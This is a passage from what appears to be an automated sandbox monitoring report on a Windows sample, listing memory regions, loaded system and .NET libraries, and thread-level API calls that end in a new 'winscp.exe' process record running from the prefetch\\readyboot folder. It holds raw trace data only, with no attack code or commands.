"private_0x0000000000160000" filename = "" Region: id = 8420 start_va = 0x7fe948b0000 end_va = 0x7fe948bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948b0000" filename = "" Region: id = 8421 start_va = 0x7fe948c0000 end_va = 0x7fe948cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948c0000" filename = "" Region: id = 8422 start_va = 0x7fe948d0000 end_va = 0x7fe9495ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948d0000" filename = "" Region: id = 8423 start_va = 0x7fe94960000 end_va = 0x7fe949cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94960000" filename = "" Region: id = 8424 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 8425 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 8426 start_va = 0x1df0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 8427 start_va = 0x1ee0000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 8428 start_va = 0x20b0000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 8429 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8430 start_va = 0x190000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 8431 start_va = 0x21b0000 end_va = 0x1a1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 8432 start_va = 0x1a1b0000 end_va = 0x1a52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a1b0000" filename = "" Region: id = 8433 start_va = 0x1a530000 end_va = 0x1a630fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a530000" filename = "" Region: id = 8434 start_va = 0x1a640000 end_va = 0x1a73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a640000" filename = "" Region: id = 8435 start_va = 0x1a8e0000 end_va = 0x1a9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8e0000" filename = "" Region: id = 8436 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8438 start_va = 0x1aa70000 end_va = 0x1ab6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa70000" filename = "" Region: id = 8439 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8647 start_va = 0x1ab70000 end_va = 0x1ae3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8714 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8725 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8726 start_va = 0x1ee0000 end_va = 0x1f5cfff monitored = 0 entry_point = 0x1eecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8727 start_va = 0x1fd0000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 8728 start_va = 0x1ee0000 end_va = 0x1f5cfff monitored = 0 entry_point = 0x1eecec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8729 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8800 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8801 start_va = 0x1ae40000 end_va = 0x1b04ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae40000" filename = "" Region: id = 8802 start_va = 0x1ee0000 end_va = 0x1fbefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ee0000" filename = "" Region: id = 8861 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8862 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8863 start_va = 0x7fe949d0000 end_va = 0x7fe94a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949d0000" filename = "" Region: id = 8898 start_va = 0x7fe94a50000 end_va = 0x7fe94a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a50000" filename = "" Region: id = 8899 start_va = 0x7fe94a60000 end_va = 0x7fe94a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a60000" filename = "" Region: id = 8924 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8939 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8946 start_va = 0x190000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 8972 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 8973 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 8974 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9011 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9026 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9041 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9048 start_va = 0x1a740000 end_va = 0x1a81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a740000" filename = "" Region: id = 9068 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9080 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9081 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9082 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9125 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9126 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9155 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9171 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9185 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9216 start_va = 0x1df0000 end_va = 0x1e51fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9217 start_va = 0x1e60000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 9219 start_va = 0x660000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 9220 start_va = 0x1ae40000 end_va = 0x1af3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae40000" filename = "" Region: id = 9221 start_va = 0x1afd0000 end_va = 0x1b04ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afd0000" filename = "" Region: id = 9222 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 9223 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 9246 start_va = 0x1b190000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 9247 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9398 start_va = 0x1b380000 end_va = 0x1b47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b380000" filename = "" Region: id = 9399 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9400 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9401 start_va = 0x2050000 end_va = 0x2094fff monitored = 0 entry_point = 0x2051064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9402 start_va = 0x2050000 end_va = 0x2094fff monitored = 0 entry_point = 0x2051064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9403 start_va = 0x2050000 end_va = 0x2094fff monitored = 0 entry_point = 0x2051064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9404 start_va = 0x2050000 end_va = 0x2094fff monitored = 0 entry_point = 0x2051064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9405 start_va = 0x2050000 end_va = 0x2094fff monitored = 0 entry_point = 0x2051064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9451 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9452 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9453 start_va = 0x1b4f0000 end_va = 0x1b5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4f0000" filename = "" Region: id = 9454 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9469 start_va = 0x1b050000 end_va = 0x1b14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b050000" filename = "" Region: id = 9470 start_va = 0x1b6a0000 end_va = 0x1b79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6a0000" filename = "" Region: id = 9471 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 9472 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9512 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9558 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9563 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9577 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9591 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9612 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9640 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9641 start_va = 0x1b7a0000 end_va = 0x1ba71fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9642 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 9643 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9644 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9645 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 9646 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 9867 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 9868 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 9869 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 9870 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 9871 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 9872 start_va = 0x840000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 9873 start_va = 0x1fc0000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 9874 start_va = 0x2050000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 9875 start_va = 0x2060000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 9876 start_va = 0x2070000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 9877 start_va = 0x2080000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 9878 start_va = 0x2090000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 9941 start_va = 0x20a0000 end_va = 0x20affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 9942 start_va = 0x1a740000 end_va = 0x1a74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a740000" filename = "" Region: id = 9943 start_va = 0x1a7a0000 end_va = 0x1a81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7a0000" filename = "" Region: id = 9944 start_va = 0x1a750000 end_va = 0x1a75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a750000" filename = "" Region: id = 10085 start_va = 0x1a760000 end_va = 0x1a76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a760000" filename = "" Region: id = 10086 start_va = 0x1a770000 end_va = 0x1a77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a770000" filename = "" Region: id = 10087 start_va = 0x1a780000 end_va = 0x1a78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a780000" filename = "" Region: id = 10088 start_va = 0x1a790000 end_va = 0x1a79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a790000" filename = "" Region: id = 10089 start_va = 0x1a820000 end_va = 0x1a82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a820000" filename = "" Region: id = 10194 start_va = 0x1a830000 end_va = 0x1a83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a830000" filename = "" Region: id = 10195 start_va = 0x1a840000 end_va = 0x1a84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a840000" filename = "" Region: id = 10196 start_va = 0x1a850000 end_va = 0x1a85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a850000" filename = "" Region: id = 10197 start_va = 0x1a860000 end_va = 0x1a86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a860000" filename = "" Region: id = 10198 start_va = 0x1a870000 end_va = 0x1a87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a870000" filename = "" Region: id = 10199 start_va = 0x1a880000 end_va = 0x1a88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a880000" filename = "" Region: id = 10200 start_va = 0x1a890000 end_va = 0x1a89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a890000" filename = "" Region: id = 10201 start_va = 0x1a8a0000 end_va = 0x1a8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8a0000" filename = "" Region: id = 10202 start_va = 0x1a8b0000 end_va = 0x1a8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8b0000" filename = "" Region: id = 10264 start_va = 0x1a8c0000 end_va = 0x1a8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8c0000" filename = "" Region: id = 10265 start_va = 0x1a8d0000 end_va = 0x1a8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8d0000" filename = "" Region: id = 10266 start_va = 0x1a9e0000 end_va = 0x1a9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9e0000" filename = "" Region: id = 10267 start_va = 0x1a9f0000 end_va = 0x1a9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9f0000" filename = "" Region: id = 10268 start_va = 0x1aa00000 end_va = 0x1aa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa00000" filename = "" Region: id = 10269 start_va = 0x1aa10000 end_va = 0x1aa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa10000" filename = "" Region: id = 10270 start_va = 0x1aa20000 end_va = 0x1aa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa20000" filename = "" Region: id = 10307 start_va = 0x1af80000 end_va = 0x1afbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 10308 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 10309 start_va = 0x7fe94a70000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a70000" filename = "" Region: id = 10390 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 10391 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 10392 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 10393 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 10394 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 10442 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10443 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 10444 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 10457 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 10470 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 10487 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 10495 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 10506 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Thread: id = 349 os_tid = 0x648 [0225.293] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.107] EtwEventRegister (in: ProviderId=0x21b58b0, EnableCallback=0x1a7a135c, CallbackContext=0x0, RegHandle=0x21b5890 | out: RegHandle=0x21b5890) returned 0x0 [0244.706] EtwEventRegister (in: ProviderId=0x21ba038, EnableCallback=0x1a7a13ac, CallbackContext=0x0, RegHandle=0x21ba018 | out: RegHandle=0x21ba018) returned 0x0 [0246.592] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x14ee60*=0xd8, lpdwindex=0x2ce1f4 | out: lpdwindex=0x2ce1f4) returned 0x0 [0247.198] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a68fa00*=0x238, lpdwindex=0x2cdee4 | out: lpdwindex=0x2cdee4) returned 0x0 [0247.769] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x14ee60*=0xd8, lpdwindex=0x2ce1f4 | out: lpdwindex=0x2ce1f4) returned 0x0 [0267.204] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a68fa50*=0x24, lpdwindex=0x2cdee4 | out: lpdwindex=0x2cdee4) returned 0x0 [0267.971] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x14ee60*=0xd8, lpdwindex=0x2ce1f4) Thread: id = 414 os_tid = 0x404 Thread: id = 415 os_tid = 0x78c [0227.111] CoGetContextToken (in: pToken=0x1a9df800 | out: pToken=0x1a9df800) returned 0x800401f0 [0227.111] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 416 os_tid = 0x510 Thread: id = 451 os_tid = 0x84c [0245.661] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.662] CoGetContextToken (in: pToken=0x1af3f5d0 | out: pToken=0x1af3f5d0) returned 0x0 [0245.662] CObjectContext::QueryInterface () returned 0x0 [0245.662] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.662] Release () returned 0x0 [0245.662] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.663] CoUninitialize () Thread: id = 452 os_tid = 0x850 Thread: id = 477 os_tid = 0x8b4 [0245.799] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.800] CoGetContextToken (in: pToken=0x1b28fa90 | out: pToken=0x1b28fa90) returned 0x0 [0245.800] CObjectContext::QueryInterface () returned 0x0 [0245.800] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.800] Release () returned 0x0 [0245.800] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.800] CoUninitialize () [0258.606] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b28dec8 | out: phkResult=0x1b28dec8*=0x0) returned 0x2 [0258.607] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.612] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe", nBufferLength=0x105, lpBuffer=0x1b28ea00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe", lpFilePart=0x0) returned 0x42 Thread: id = 491 os_tid = 0x8ec Thread: id = 509 os_tid = 0x93c Thread: id = 510 os_tid = 0x940 Thread: id = 511 os_tid = 0x944 [0248.223] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.224] CoGetContextToken (in: pToken=0x1b14f5d0 | out: pToken=0x1b14f5d0) returned 0x0 [0248.224] CObjectContext::QueryInterface () returned 0x0 [0248.224] CObjectContext::GetCurrentThreadType () returned 0x0 [0248.224] Release () returned 0x0 [0248.224] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0248.224] CoUninitialize () Thread: id = 544 os_tid = 0x9d0 Process: id = "85" image_name = "winscp.exe" filename = "c:\\windows\\prefetch\\readyboot\\winscp.exe" page_root = "0x78b21000" os_pid = "0x64c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = 